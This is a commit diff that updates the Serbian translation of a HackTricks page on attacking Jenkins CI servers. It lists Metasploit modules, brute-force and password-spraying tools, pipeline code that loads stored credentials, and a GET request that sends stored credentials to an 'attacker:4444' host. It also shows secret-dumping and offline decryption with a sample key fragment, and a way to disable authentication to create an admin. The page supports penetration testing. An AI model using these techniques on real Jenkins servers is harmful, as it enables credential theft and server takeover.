mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2026-07-28 22:51:09 -07:00
Translated ['', 'src/pentesting-ci-cd/jenkins-security/README.md', 'src/
This commit is contained in:
@@ -1,28 +1,28 @@
|
||||
# Jenkins Security
|
||||
# Sigurnost Jenkins-a
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## Osnovne informacije
|
||||
|
||||
Jenkins je alat koji nudi jednostavan način za uspostavljanje **kontinuirane integracije** ili **kontinuirane isporuke** (CI/CD) okruženja za gotovo **bilo koju** kombinaciju **programskih jezika** i repozitorijuma izvornog koda koristeći pipeline-ove. Pored toga, automatizuje razne rutinske razvojne zadatke. Iako Jenkins ne eliminiše **potrebu za kreiranjem skripti za pojedinačne korake**, pruža brži i robusniji način za integraciju celokupnog niza alata za izgradnju, testiranje i implementaciju nego što se može lako konstruisati ručno.
|
||||
Jenkins je alat koji pruža jednostavan način za uspostavljanje **continuous integration** or **continuous delivery** (CI/CD) okruženja za gotovo **bilo koju** kombinaciju **programskih jezika** i source code repositories koristeći pipelines. Pored toga, automatizuje različite rutinske razvojne zadatke. Iako Jenkins ne uklanja **potrebu za kreiranjem skripti za pojedinačne korake**, on ipak pruža brži i robusniji način da se integriše čitav niz alata za build, test i deployment nego što se to lako može konstruisati ručno.
|
||||
|
||||
{{#ref}}
|
||||
basic-jenkins-information.md
|
||||
{{#endref}}
|
||||
|
||||
## Neautentifikovana enumeracija
|
||||
## Enumeracija bez autentifikacije
|
||||
|
||||
Da biste pretraživali zanimljive Jenkins stranice bez autentifikacije kao što su (_/people_ ili _/asynchPeople_, ovo prikazuje trenutne korisnike) možete koristiti:
|
||||
Da biste pretražili interesantne Jenkins stranice bez autentifikacije, kao što su (_/people_ or _/asynchPeople_, ovo prikazuje trenutne korisnike), možete koristiti:
|
||||
```
|
||||
msf> use auxiliary/scanner/http/jenkins_enum
|
||||
```
|
||||
Proverite da li možete izvršavati komande bez potrebe za autentifikacijom:
|
||||
Proverite možete li izvršavati komande bez autentifikacije:
|
||||
```
|
||||
msf> use auxiliary/scanner/http/jenkins_command
|
||||
```
|
||||
Bez kredencijala možete pogledati unutar _**/asynchPeople/**_ putanje ili _**/securityRealm/user/admin/search/index?q=**_ za **korisnička imena**.
|
||||
Without credentials you can look inside _**/asynchPeople/**_ path or _**/securityRealm/user/admin/search/index?q=**_ for **usernames**.
|
||||
|
||||
Možda ćete moći da dobijete verziju Jenkins-a iz putanje _**/oops**_ ili _**/error**_.
|
||||
Možete dobiti Jenkins verziju sa putanje _**/oops**_ ili _**/error**_
|
||||
|
||||
.png>)
|
||||
|
||||
@@ -34,7 +34,7 @@ https://github.com/gquere/pwn_jenkins
|
||||
|
||||
## Prijava
|
||||
|
||||
U osnovnim informacijama možete proveriti **sve načine za prijavu unutar Jenkins-a**:
|
||||
U osnovnim informacijama možete proveriti **sve načine za prijavu u Jenkins**:
|
||||
|
||||
{{#ref}}
|
||||
basic-jenkins-information.md
|
||||
@@ -42,38 +42,38 @@ basic-jenkins-information.md
|
||||
|
||||
### Registracija
|
||||
|
||||
Moći ćete da pronađete Jenkins instance koje **dozvoljavaju da kreirate nalog i prijavite se u njega. Tako jednostavno.**
|
||||
Moći ćete pronaći Jenkins instance koje **allow you to create an account and login inside of it. As simple as that.**
|
||||
|
||||
### **SSO Prijava**
|
||||
### **SSO Login**
|
||||
|
||||
Takođe, ako su **SSO** **funkcionalnosti**/**pluginovi** prisutni, onda biste trebali pokušati da se **prijavite** u aplikaciju koristeći test nalog (npr., test **Github/Bitbucket nalog**). Trik iz [**ovde**](https://emtunc.org/blog/01/2018/research-misconfigured-jenkins-servers/).
|
||||
Takođe, ako su prisutne **SSO** **functionality**/**plugins**, trebalo bi da pokušate da se **prijavite** u aplikaciju koristeći test nalog (tj. testni **Github/Bitbucket account**). Trik iz [**here**](https://emtunc.org/blog/01/2018/research-misconfigured-jenkins-servers/).
|
||||
|
||||
### Bruteforce
|
||||
|
||||
**Jenkins** nema **politiku lozinki** i **mitigaciju brute-force napada na korisnička imena**. Bitno je **brute-force** korisnike jer se mogu koristiti **slabe lozinke** ili **korisnička imena kao lozinke**, čak i **obrnuta korisnička imena kao lozinke**.
|
||||
**Jenkins** nema **password policy** i **username brute-force mitigation**. Neophodno je da izvršite **brute-force** nad korisnicima jer se mogu koristiti **weak passwords** ili **usernames as passwords**, pa čak i **reversed usernames as passwords**.
|
||||
```
|
||||
msf> use auxiliary/scanner/http/jenkins_login
|
||||
```
|
||||
### Password spraying
|
||||
|
||||
Koristite [ovaj python skript](https://github.com/gquere/pwn_jenkins/blob/master/password_spraying/jenkins_password_spraying.py) ili [ovaj powershell skript](https://github.com/chryzsh/JenkinsPasswordSpray).
|
||||
Koristite [this python script](https://github.com/gquere/pwn_jenkins/blob/master/password_spraying/jenkins_password_spraying.py) or [this powershell script](https://github.com/chryzsh/JenkinsPasswordSpray).
|
||||
|
||||
### IP Whitelisting Bypass
|
||||
|
||||
Mnoge organizacije kombinuju **SaaS-based source control management (SCM) systems** kao što su GitHub ili GitLab sa **internim, samostalno hostovanim CI** rešenjem poput Jenkins-a ili TeamCity-a. Ova postavka omogućava CI sistemima da **prijemaju webhook događaje od SaaS provajdera za kontrolu izvora**, prvenstveno za pokretanje pipeline poslova.
|
||||
Mnoga preduzeća kombinuju **SaaS-based source control management (SCM) systems** such as GitHub or GitLab with an **internal, self-hosted CI** solution like Jenkins or TeamCity. Ova konfiguracija omogućava CI systems da **receive webhook events from SaaS source control vendors**, prvenstveno za pokretanje pipeline jobs.
|
||||
|
||||
Da bi to postigle, organizacije **stavljaju na belu listu** **IP opsege** **SCM platformi**, omogućavajući im pristup **internom CI sistemu** putem **webhook-a**. Međutim, važno je napomenuti da **bilo ko** može da kreira **nalog** na GitHub-u ili GitLab-u i konfiguriše ga da **pokrene webhook**, potencijalno šaljući zahteve **internom CI sistemu**.
|
||||
Da bi se to postiglo, organizacije **whitelist** the **IP ranges** of the **SCM platforms**, permitting them to access the **internal CI system** via **webhooks**. Međutim, važno je napomenuti da **anyone** može kreirati **an account** na GitHub ili GitLab i konfigurisati ga da **trigger a webhook**, potencijalno šaljući zahteve ka **internal CI system**.
|
||||
|
||||
Proverite: [https://www.paloaltonetworks.com/blog/prisma-cloud/repository-webhook-abuse-access-ci-cd-systems-at-scale/](https://www.paloaltonetworks.com/blog/prisma-cloud/repository-webhook-abuse-access-ci-cd-systems-at-scale/)
|
||||
Pogledajte: [https://www.paloaltonetworks.com/blog/prisma-cloud/repository-webhook-abuse-access-ci-cd-systems-at-scale/](https://www.paloaltonetworks.com/blog/prisma-cloud/repository-webhook-abuse-access-ci-cd-systems-at-scale/)
|
||||
|
||||
## Internal Jenkins Abuses
|
||||
|
||||
U ovim scenarijima pretpostavljamo da imate važeći nalog za pristup Jenkins-u.
|
||||
U ovim scenarijima pretpostavljamo da imate važeći nalog za pristup Jenkins.
|
||||
|
||||
> [!WARNING]
|
||||
> U zavisnosti od **Authorization** mehanizma konfiguranog u Jenkins-u i dozvole kompromitovanog korisnika, **možda ćete moći ili ne moći da izvršite sledeće napade.**
|
||||
> U zavisnosti od mehanizma **Authorization** konfigurisanog u Jenkins i dozvola kompromitovanog korisnika, možda ćete moći — ili ne — da izvršite sledeće napade.
|
||||
|
||||
Za više informacija proverite osnovne informacije:
|
||||
Za više informacija pogledajte osnovne informacije:
|
||||
|
||||
{{#ref}}
|
||||
basic-jenkins-information.md
|
||||
@@ -81,85 +81,101 @@ basic-jenkins-information.md
|
||||
|
||||
### Listing users
|
||||
|
||||
Ako ste pristupili Jenkins-u, možete da navedete druge registrovane korisnike na [http://127.0.0.1:8080/asynchPeople/](http://127.0.0.1:8080/asynchPeople/)
|
||||
Ako imate pristup Jenkins, možete izlistati ostale registrovane korisnike na [http://127.0.0.1:8080/asynchPeople/](http://127.0.0.1:8080/asynchPeople/)
|
||||
|
||||
### Dumping builds to find cleartext secrets
|
||||
|
||||
Koristite [ovaj skript](https://github.com/gquere/pwn_jenkins/blob/master/dump_builds/jenkins_dump_builds.py) da izbacite izlaze konzole gradnje i promenljive okruženja gradnje kako biste se nadali da ćete pronaći tajne u čistom tekstu.
|
||||
Koristite [this script](https://github.com/gquere/pwn_jenkins/blob/master/dump_builds/jenkins_dump_builds.py) to dump build console outputs and build environment variables to hopefully find cleartext secrets.
|
||||
```bash
|
||||
python3 jenkins_dump_builds.py -u alice -p alice http://127.0.0.1:8080/ -o build_dumps
|
||||
cd build_dumps
|
||||
gitleaks detect --no-git -v
|
||||
```
|
||||
### **Krađa SSH kredencijala**
|
||||
### FormValidation/TestConnection endpointi (CSRF to SSRF/krađa credentials)
|
||||
|
||||
Ako kompromitovani korisnik ima **dovoljno privilegija da kreira/modifikuje novi Jenkins čvor** i SSH kredencijali su već sačuvani za pristup drugim čvorovima, mogao bi **ukrasti te kredencijale** kreiranjem/modifikovanjem čvora i **postavljanjem hosta koji će snimati kredencijale** bez verifikacije host ključa:
|
||||
Neki plugin-i izlažu Jelly `validateButton` ili `test connection` handlere na putanjama kao što su `/descriptorByName/<Class>/testConnection`. Kada handleri **ne zahtevaju POST ili provere dozvola**, možete:
|
||||
|
||||
- Zameniti POST sa GET i ukloniti Crumb da biste zaobišli CSRF provere.
|
||||
- Pokrenuti handler kao low-priv/anonymous ako ne postoji provera `Jenkins.ADMINISTER`.
|
||||
- Izvesti CSRF nad adminom i zameniti host/URL parametar da biste eksfiltrirali credentials ili pokrenuli outbound pozive.
|
||||
- Iskoristiti greške u odgovoru (npr. `ConnectException`) kao SSRF/port-scan oracle.
|
||||
|
||||
Primer GET (bez Crumb) koji pretvara poziv za validaciju u SSRF/eksfiltraciju credentials:
|
||||
```http
|
||||
GET /descriptorByName/jenkins.plugins.openstack.compute.JCloudsCloud/testConnection?endPointUrl=http://attacker:4444/&credentialId=openstack HTTP/1.1
|
||||
Host: jenkins.local:8080
|
||||
```
|
||||
Ako plugin ponovo koristi stored creds, Jenkins će pokušati da se autentifikuje na `attacker:4444` i može leak identifikatore ili greške u odgovoru. Vidi: https://www.nccgroup.com/research-blog/story-of-a-hundred-vulnerable-jenkins-plugins/
|
||||
|
||||
### **Krađa SSH Credentials**
|
||||
|
||||
Ako kompromitovani korisnik ima **dovoljne privilegije da kreira/izmeni novi Jenkins node** i SSH credentials su već sačuvani za pristup drugim node-ovima, on bi mogao **ukrasti te credentials** kreiranjem/izmenom node-a i **podešavanjem hosta koji će snimiti credentials** bez verifikacije host ključa:
|
||||
|
||||
.png>)
|
||||
|
||||
Obično ćete pronaći Jenkins ssh kredencijale u **globalnom provajderu** (`/credentials/`), tako da ih možete i dumpovati kao što biste dumpovali bilo koju drugu tajnu. Više informacija u [**odeljku o dumpovanju tajni**](./#dumping-secrets).
|
||||
Obično ćete naći Jenkins ssh credentials u **global provider** (`/credentials/`), tako da ih možete i dump-ovati kao i bilo koji drugi secret. Više informacija u [**Dumping secrets section**](#dumping-secrets).
|
||||
|
||||
### **RCE u Jenkins-u**
|
||||
### **RCE in Jenkins**
|
||||
|
||||
Dobijanje **shell-a na Jenkins serveru** daje napadaču priliku da otkrije sve **tajne** i **env varijable** i da **iskoristi druge mašine** locirane u istoj mreži ili čak **prikupi cloud kredencijale**.
|
||||
Dobijanje shell-a na Jenkins serveru daje napadaču mogućnost da leak sve secrets i env variables i da iskoristi druge mašine u istoj mreži ili čak prikupi cloud credentials.
|
||||
|
||||
Podrazumevano, Jenkins će **raditi kao SYSTEM**. Tako da, kompromitovanje će napadaču dati **SYSTEM privilegije**.
|
||||
Po default-u, Jenkins će **pokretati kao SYSTEM**. Dakle, kompromitovanje će napadaču dati **SYSTEM privilegije**.
|
||||
|
||||
### **RCE Kreiranje/Modifikovanje projekta**
|
||||
### **RCE Creating/Modifying a project**
|
||||
|
||||
Kreiranje/Modifikovanje projekta je način da se dobije RCE nad Jenkins serverom:
|
||||
Kreiranje/izmena projekta je način da se dobije RCE nad Jenkins serverom:
|
||||
|
||||
{{#ref}}
|
||||
jenkins-rce-creating-modifying-project.md
|
||||
{{#endref}}
|
||||
|
||||
### **RCE Izvršavanje Groovy skripte**
|
||||
### **RCE Execute Groovy script**
|
||||
|
||||
Takođe možete dobiti RCE izvršavanjem Groovy skripte, koja može biti manje uočljiva od kreiranja novog projekta:
|
||||
Takođe možete dobiti RCE izvršavanjem Groovy skripte, što može biti diskretnije od kreiranja novog projekta:
|
||||
|
||||
{{#ref}}
|
||||
jenkins-rce-with-groovy-script.md
|
||||
{{#endref}}
|
||||
|
||||
### RCE Kreiranje/Modifikovanje Pipeline-a
|
||||
### RCE Creating/Modifying Pipeline
|
||||
|
||||
Takođe možete dobiti **RCE kreiranjem/modifikovanjem pipeline-a**:
|
||||
Takođe možete dobiti **RCE kreiranjem/izmenom pipeline-a**:
|
||||
|
||||
{{#ref}}
|
||||
jenkins-rce-creating-modifying-pipeline.md
|
||||
{{#endref}}
|
||||
|
||||
## Eksploatacija Pipeline-a
|
||||
## Pipeline Exploitation
|
||||
|
||||
Da biste eksploatisali pipeline-ove, još uvek morate imati pristup Jenkins-u.
|
||||
Da biste eksploatisali pipelines i dalje morate imati pristup Jenkins-u.
|
||||
|
||||
### Build Pipeline-i
|
||||
### Build Pipelines
|
||||
|
||||
**Pipeline-i** se takođe mogu koristiti kao **mehanizam za izgradnju u projektima**, u tom slučaju može se konfigurisati **fajl unutar repozitorijuma** koji će sadržati sintaksu pipeline-a. Podrazumevano se koristi `/Jenkinsfile`:
|
||||
**Pipelines** takođe mogu biti korišćeni kao **build mehanizam u projektima**, u tom slučaju može biti konfigurisana **datoteka unutar repozitorijuma** koja će sadržati pipeline sintaksu. Po default-u se koristi `/Jenkinsfile`:
|
||||
|
||||
.png>)
|
||||
|
||||
Takođe je moguće **čuvati konfiguracione fajlove pipeline-a na drugim mestima** (na drugim repozitorijumima, na primer) sa ciljem **razdvajanja** pristupa repozitorijumu i pristupa pipeline-u.
|
||||
Takođe je moguće **čuvati pipeline konfiguracione fajlove na drugim mestima** (na primer u drugim repositorijumima) sa ciljem **odvajanja** pristupa repozitorijumu i pristupa pipeline-u.
|
||||
|
||||
Ako napadač ima **pravo pisanja nad tim fajlom**, moći će da **modifikuje** i **potencijalno pokrene** pipeline bez čak i pristupa Jenkins-u.\
|
||||
Moguće je da će napadač morati da **obiđe neke zaštite grana** (u zavisnosti od platforme i privilegija korisnika, one se mogu obići ili ne).
|
||||
Ako napadač ima **write access nad tim fajlom** biće u mogućnosti da ga **izmeni** i **potencijalno trigger-uje** pipeline bez čak i pristupa Jenkins-u.\
|
||||
Moguće je da će napadač morati da **zaobiđe neke branch protections** (u zavisnosti od platforme i privilegija korisnika oni mogu biti zaobiđeni ili ne).
|
||||
|
||||
Najčešći okidači za izvršavanje prilagođenog pipeline-a su:
|
||||
Najčešći trigger-i za izvršavanje custom pipeline-a su:
|
||||
|
||||
- **Pull request** na glavnu granu (ili potencijalno na druge grane)
|
||||
- **Push na glavnu granu** (ili potencijalno na druge grane)
|
||||
- **Ažuriranje glavne grane** i čekanje da se na neki način izvrši
|
||||
- **Pull request** na main branch (ili potencijalno na druge grane)
|
||||
- **Push na main branch** (ili potencijalno na druge grane)
|
||||
- **Ažuriranje main brancha** i čekanje da se nekako izvrši
|
||||
|
||||
> [!NOTE]
|
||||
> Ako ste **spoljašnji korisnik**, ne biste trebali očekivati da kreirate **PR na glavnu granu** repozitorijuma **drugog korisnika/organizacije** i **pokrenete pipeline**... ali ako je **loše konfigurisano**, mogli biste potpuno **kompromitovati kompanije samo iskorišćavajući ovo**.
|
||||
> Ako ste **eksterni korisnik** ne bi trebalo da očekujete da možete da napravite **PR na main branch** repozitorijuma drugog korisnika/organizacije i **trigger-ujete pipeline**... ali ako je **loše konfigurisano** mogli biste potpuno **kompromitovati kompanije samo iskorišćavanjem ovoga**.
|
||||
|
||||
### Pipeline RCE
|
||||
|
||||
U prethodnom RCE odeljku već je naznačena tehnika za [**dobijanje RCE modifikovanjem pipeline-a**](./#rce-creating-modifying-pipeline).
|
||||
U prethodnom RCE odeljku je već naznačena tehnika da se [**dobije RCE modifikujući pipeline**](#rce-creating-modifying-pipeline).
|
||||
|
||||
### Proveravanje Env varijabli
|
||||
### Checking Env variables
|
||||
|
||||
Moguće je deklarisati **env varijable u čistom tekstu** za ceo pipeline ili za specifične faze. Ove env varijable **ne bi trebale sadržati osetljive informacije**, ali napadač uvek može **proveriti sve konfiguracije pipeline-a/Jenkinsfile-ove:**
|
||||
Moguće je deklarisati **plain text env variables** za ceo pipeline ili za specifične stage-ove. Ove env variables **ne bi trebalo da sadrže osetljive informacije**, ali napadač uvek može da proveri sve pipeline konfiguracije/Jenkinsfiles:
|
||||
```bash
|
||||
pipeline {
|
||||
agent {label 'built-in'}
|
||||
@@ -174,21 +190,21 @@ STAGE_ENV_VAR = "Test stage ENV variables."
|
||||
}
|
||||
steps {
|
||||
```
|
||||
### Dumping secrets
|
||||
### Izdvajanje secrets
|
||||
|
||||
Za informacije o tome kako se tajne obično tretiraju u Jenkins-u, pogledajte osnovne informacije:
|
||||
Za informacije o tome kako Jenkins obično tretira secrets pogledajte osnovne informacije:
|
||||
|
||||
{{#ref}}
|
||||
basic-jenkins-information.md
|
||||
{{#endref}}
|
||||
|
||||
Akreditivi mogu biti **ograničeni na globalne provajdere** (`/credentials/`) ili na **specifične projekte** (`/job/<project-name>/configure`). Stoga, da biste eksfiltrirali sve njih, morate **kompromitovati barem sve projekte** koji sadrže tajne i izvršiti prilagođene/otrovane pipeline-ove.
|
||||
Kredencijali mogu biti **scoped to global providers** (`/credentials/`) ili **specifični za projekte** (`/job/<project-name>/configure`). Stoga, da biste exfiltrirali sve njih morate kompromitovati bar sve projekte koji sadrže secrets i pokrenuti custom/poisoned pipelines.
|
||||
|
||||
Postoji još jedan problem, da biste dobili **tajnu unutar env** pipeline-a, morate **znati ime i tip tajne**. Na primer, ako pokušate da **učitate** **`usernamePassword`** **tajnu** kao **`string`** **tajnu**, dobićete ovu **grešku**:
|
||||
Postoji još jedan problem: da biste dobili **secret inside the env** pipeline-a, morate **znati ime i tip secreta**. Na primer, ako pokušate da **load** `usernamePassword` **secret** kao `string` **secret**, dobićete ovu **grešku**:
|
||||
```
|
||||
ERROR: Credentials 'flag2' is of type 'Username with password' where 'org.jenkinsci.plugins.plaincredentials.StringCredentials' was expected
|
||||
```
|
||||
Evo kako da učitate neke uobičajene tipove tajni:
|
||||
Evo načina da učitate neke uobičajene secret types:
|
||||
```bash
|
||||
withCredentials([usernamePassword(credentialsId: 'flag2', usernameVariable: 'USERNAME', passwordVariable: 'PASS')]) {
|
||||
sh '''
|
||||
@@ -216,46 +232,46 @@ env
|
||||
'''
|
||||
}
|
||||
```
|
||||
Na kraju ove stranice možete **pronaći sve tipove kredencijala**: [https://www.jenkins.io/doc/pipeline/steps/credentials-binding/](https://www.jenkins.io/doc/pipeline/steps/credentials-binding/)
|
||||
Na kraju ove stranice možete pronaći sve tipove kredencijala: [https://www.jenkins.io/doc/pipeline/steps/credentials-binding/](https://www.jenkins.io/doc/pipeline/steps/credentials-binding/)
|
||||
|
||||
> [!WARNING]
|
||||
> Najbolji način da **izvučete sve tajne odjednom** je da **kompromitujete** **Jenkins** mašinu (na primer, pokretanjem reverzne ljuske u **ugrađenom čvoru**) i zatim **procurite** **glavne ključeve** i **kriptovane tajne** i dekriptujete ih offline.\
|
||||
> Više o tome kako to uraditi u [odeljku Čvorovi i Agenti](./#nodes-and-agents) i u [odeljku Post Eksploatacija](./#post-exploitation).
|
||||
> Najbolji način da **dump all the secrets at once** je **compromising** **Jenkins** mašine (running a reverse shell in the **built-in node** for example) and then **leaking** the **master keys** and the **encrypted secrets** and decrypting them offline.\
|
||||
> More on how to do this in the [Nodes & Agents section](#nodes-and-agents) and in the [Post Exploitation section](#post-exploitation).
|
||||
|
||||
### Okidači
|
||||
### Triggers
|
||||
|
||||
Iz [dokumentacije](https://www.jenkins.io/doc/book/pipeline/syntax/#triggers): Direktiva `triggers` definiše **automatske načine na koje bi Pipeline trebao biti ponovo aktiviran**. Za Pipelines koji su integrisani sa izvorom kao što su GitHub ili BitBucket, `triggers` možda neće biti potrebni jer će integracija zasnovana na webhook-ovima verovatno već biti prisutna. Trenutno dostupni okidači su `cron`, `pollSCM` i `upstream`.
|
||||
From [the docs](https://www.jenkins.io/doc/book/pipeline/syntax/#triggers): Direktiva `triggers` definiše **automatizovane načine na koje Pipeline treba da bude ponovo pokrenut**. Za Pipelines koji su integrisani sa izvorom kao što su GitHub ili BitBucket, `triggers` možda nisu neophodni jer webhooks-based integration verovatno već postoji. Trenutno dostupni triggers su `cron`, `pollSCM` i `upstream`.
|
||||
|
||||
Primer cron:
|
||||
Cron example:
|
||||
```bash
|
||||
triggers { cron('H */4 * * 1-5') }
|
||||
```
|
||||
Proverite **druge primere u dokumentaciji**.
|
||||
Pogledajte **ostale primere u dokumentaciji**.
|
||||
|
||||
### Čvorovi i Agenti
|
||||
### Čvorovi & Agenti
|
||||
|
||||
**Jenkins instanca** može imati **različite agente koji rade na različitim mašinama**. Sa perspektive napadača, pristup različitim mašinama znači **različite potencijalne cloud kredencijale** koje se mogu ukrasti ili **različit pristup mreži** koji se može zloupotrebiti za eksploataciju drugih mašina.
|
||||
Jedna **Jenkins instanca** može imati **različite agente koji rade na različitim mašinama**. Iz perspektive napadača, pristup različitim mašinama znači **različite potencijalne cloud kredencijale** za krađu ili **različit mrežni pristup** koji se može zloupotrebiti da bi se eksploatisale druge mašine.
|
||||
|
||||
Za više informacija proverite osnovne informacije:
|
||||
Za više informacija pogledajte osnovne informacije:
|
||||
|
||||
{{#ref}}
|
||||
basic-jenkins-information.md
|
||||
{{#endref}}
|
||||
|
||||
Možete enumerisati **konfigurisane čvorove** u `/computer/`, obično ćete pronaći **`Built-In Node`** (koji je čvor koji pokreće Jenkins) i potencijalno više:
|
||||
Možete nabrojati **konfigurisane čvorove** u `/computer/`, obično ćete pronaći \*\*`Built-In Node` \*\* (koji je čvor na kojem Jenkins radi) i potencijalno još:
|
||||
|
||||
.png>)
|
||||
|
||||
**Posebno je zanimljivo kompromitovati Built-In čvor** jer sadrži osetljive Jenkins informacije.
|
||||
Posebno je interesantno kompromitovati **Built-In node** jer sadrži osetljive Jenkins informacije.
|
||||
|
||||
Da biste naznačili da želite da **pokrenete** **pipeline** u **ugrađenom Jenkins čvoru**, možete uneti sledeću konfiguraciju unutar pipeline-a:
|
||||
Da naznačite da želite **pokrenuti** **pipeline** u **built-in Jenkins node-u**, možete unutar pipeline-a navesti sledeću konfiguraciju:
|
||||
```bash
|
||||
pipeline {
|
||||
agent {label 'built-in'}
|
||||
```
|
||||
### Potpuni primer
|
||||
### Kompletan primer
|
||||
|
||||
Pipeline u specifičnom agentu, sa cron okidačem, sa pipeline i stage promenljivim okruženjima, učitavajući 2 promenljive u koraku i šaljući reverznu ljusku:
|
||||
Pipeline u određenom agentu, sa cron trigger-om, sa pipeline and stage env variables, učitava 2 variables u step-u i šalje reverse shell:
|
||||
```bash
|
||||
pipeline {
|
||||
agent {label 'built-in'}
|
||||
@@ -286,7 +302,7 @@ cleanWs()
|
||||
}
|
||||
}
|
||||
```
|
||||
## Pročitajte proizvoljnu datoteku do RCE
|
||||
## Arbitrary File Read to RCE
|
||||
|
||||
{{#ref}}
|
||||
jenkins-arbitrary-file-read-to-rce-via-remember-me.md
|
||||
@@ -306,17 +322,17 @@ jenkins-rce-creating-modifying-project.md
|
||||
jenkins-rce-creating-modifying-pipeline.md
|
||||
{{#endref}}
|
||||
|
||||
## Post Eksploatacija
|
||||
## Post Exploitation
|
||||
|
||||
### Metasploit
|
||||
```
|
||||
msf> post/multi/gather/jenkins_gather
|
||||
```
|
||||
### Jenkins Tajne
|
||||
### Jenkins Secrets
|
||||
|
||||
Možete nabrojati tajne pristupajući `/credentials/` ako imate dovoljno dozvola. Imajte na umu da će ovo samo nabrojati tajne unutar `credentials.xml` datoteke, ali **datoteke za konfiguraciju gradnje** takođe mogu imati **više kredencijala**.
|
||||
Možete izlistati secrets pristupom `/credentials/` ako imate dovoljno permisija. Imajte na umu da će ovo izlistati samo secrets unutar `credentials.xml` fajla, ali **build configuration files** mogu takođe imati **više credentials**.
|
||||
|
||||
Ako možete **videti konfiguraciju svakog projekta**, možete takođe videti **imena kredencijala (tajni)** koji se koriste za pristup repozitorijumu i **druge kredencijale projekta**.
|
||||
Ako možete **videti konfiguraciju svakog projekta**, možete tamo takođe videti **names of the credentials (secrets)** koja se koriste za pristup repozitorijumu i **other credentials of the project**.
|
||||
|
||||
.png>)
|
||||
|
||||
@@ -326,20 +342,20 @@ Ako možete **videti konfiguraciju svakog projekta**, možete takođe videti **i
|
||||
jenkins-dumping-secrets-from-groovy.md
|
||||
{{#endref}}
|
||||
|
||||
#### Iz diska
|
||||
#### Sa diska
|
||||
|
||||
Ove datoteke su potrebne za **dešifrovanje Jenkins tajni**:
|
||||
Ovi fajlovi su potrebni za **dešifrovanje Jenkins secrets**:
|
||||
|
||||
- secrets/master.key
|
||||
- secrets/hudson.util.Secret
|
||||
|
||||
Takve **tajne se obično mogu naći u**:
|
||||
Takve **secrets se obično nalaze u**:
|
||||
|
||||
- credentials.xml
|
||||
- jobs/.../build.xml
|
||||
- jobs/.../config.xml
|
||||
|
||||
Evo regex-a da ih pronađete:
|
||||
Evo regex-a za njihovo pronalaženje:
|
||||
```bash
|
||||
# Find the secrets
|
||||
grep -re "^\s*<[a-zA-Z]*>{[a-zA-Z0-9=+/]*}<"
|
||||
@@ -349,9 +365,9 @@ grep -lre "^\s*<[a-zA-Z]*>{[a-zA-Z0-9=+/]*}<"
|
||||
# Secret example
|
||||
credentials.xml: <secret>{AQAAABAAAAAwsSbQDNcKIRQMjEMYYJeSIxi2d3MHmsfW3d1Y52KMOmZ9tLYyOzTSvNoTXdvHpx/kkEbRZS9OYoqzGsIFXtg7cw==}</secret>
|
||||
```
|
||||
#### Decrypt Jenkins secrets offline
|
||||
#### Dešifrujte Jenkins secrets offline
|
||||
|
||||
Ako ste izvezli **potrebne lozinke za dešifrovanje tajni**, koristite [**ovaj skript**](https://github.com/gquere/pwn_jenkins/blob/master/offline_decryption/jenkins_offline_decrypt.py) **da dešifrujete te tajne**.
|
||||
Ako ste izvukli **potrebne lozinke za dešifrovanje secrets**, koristite [**this script**](https://github.com/gquere/pwn_jenkins/blob/master/offline_decryption/jenkins_offline_decrypt.py) **za dešifrovanje tih secrets**.
|
||||
```bash
|
||||
python3 jenkins_offline_decrypt.py master.key hudson.util.Secret cred.xml
|
||||
06165DF2-C047-4402-8CAB-1C8EC526C115
|
||||
@@ -359,18 +375,18 @@ python3 jenkins_offline_decrypt.py master.key hudson.util.Secret cred.xml
|
||||
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABlwAAAAdzc2gtcn
|
||||
NhAAAAAwEAAQAAAYEAt985Hbb8KfIImS6dZlVG6swiotCiIlg/P7aME9PvZNUgg2Iyf2FT
|
||||
```
|
||||
#### Dešifrovanje Jenkins tajni iz Groovy-a
|
||||
#### Decrypt Jenkins secrets iz Groovy
|
||||
```bash
|
||||
println(hudson.util.Secret.decrypt("{...}"))
|
||||
```
|
||||
### Kreirajte novog admin korisnika
|
||||
### Kreiranje novog admin korisnika
|
||||
|
||||
1. Pristupite Jenkins config.xml datoteci u `/var/lib/jenkins/config.xml` ili `C:\Program Files (x86)\Jenkis\`
|
||||
2. Potražite reč `<useSecurity>true</useSecurity>` i promenite reč **`true`** u **`false`**.
|
||||
1. Pristupite Jenkins config.xml fajlu u `/var/lib/jenkins/config.xml` ili `C:\Program Files (x86)\Jenkis\`
|
||||
2. Potražite `<useSecurity>true</useSecurity>` i promenite reč **`true`** u **`false`**.
|
||||
1. `sed -i -e 's/<useSecurity>true</<useSecurity>false</g' config.xml`
|
||||
3. **Restartujte** **Jenkins** server: `service jenkins restart`
|
||||
4. Sada ponovo idite na Jenkins portal i **Jenkins neće tražiti nikakve kredencijale** ovaj put. Navigirajte do "**Manage Jenkins**" da ponovo postavite **administratorsku lozinku**.
|
||||
5. **Ponovo omogućite** **bezbednost** promenom postavki na `<useSecurity>true</useSecurity>` i **ponovo restartujte Jenkins**.
|
||||
3. Ponovo pokrenite **Jenkins** server: `service jenkins restart`
|
||||
4. Sada ponovo otvorite Jenkins portal i **Jenkins ovaj put neće tražiti podatke za prijavu**. Idite na "Manage Jenkins" da ponovo podesite **administratorsku lozinku**.
|
||||
5. Ponovo omogućite bezbednost menjajući podešavanje na `<useSecurity>true</useSecurity>` i **ponovo restartujte Jenkins**.
|
||||
|
||||
## Reference
|
||||
|
||||
|
||||
@@ -1,86 +1,97 @@
|
||||
# Osnovne informacije o Jenkinsu
|
||||
# Osnovne informacije o Jenkins-u
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## Pristup
|
||||
|
||||
### Korisničko ime + Lozinka
|
||||
### Korisničko ime + lozinka
|
||||
|
||||
Najčešći način prijavljivanja u Jenkins je putem korisničkog imena ili lozinke.
|
||||
Najčešći način prijave u Jenkins je pomoću korisničkog imena i lozinke.
|
||||
|
||||
### Kolačić
|
||||
### Cookie
|
||||
|
||||
Ako se **autorizovani kolačić ukrade**, može se koristiti za pristup sesiji korisnika. Kolačić se obično naziva `JSESSIONID.*`. (Korisnik može prekinuti sve svoje sesije, ali prvo mora da sazna da je kolačić ukraden).
|
||||
Ako se **ovlašćeni cookie ukrade**, može se iskoristiti za pristup sesiji korisnika. Cookie se obično zove `JSESSIONID.*`. (Korisnik može prekinuti sve svoje sesije, ali bi prvo morao da sazna da je cookie ukraden).
|
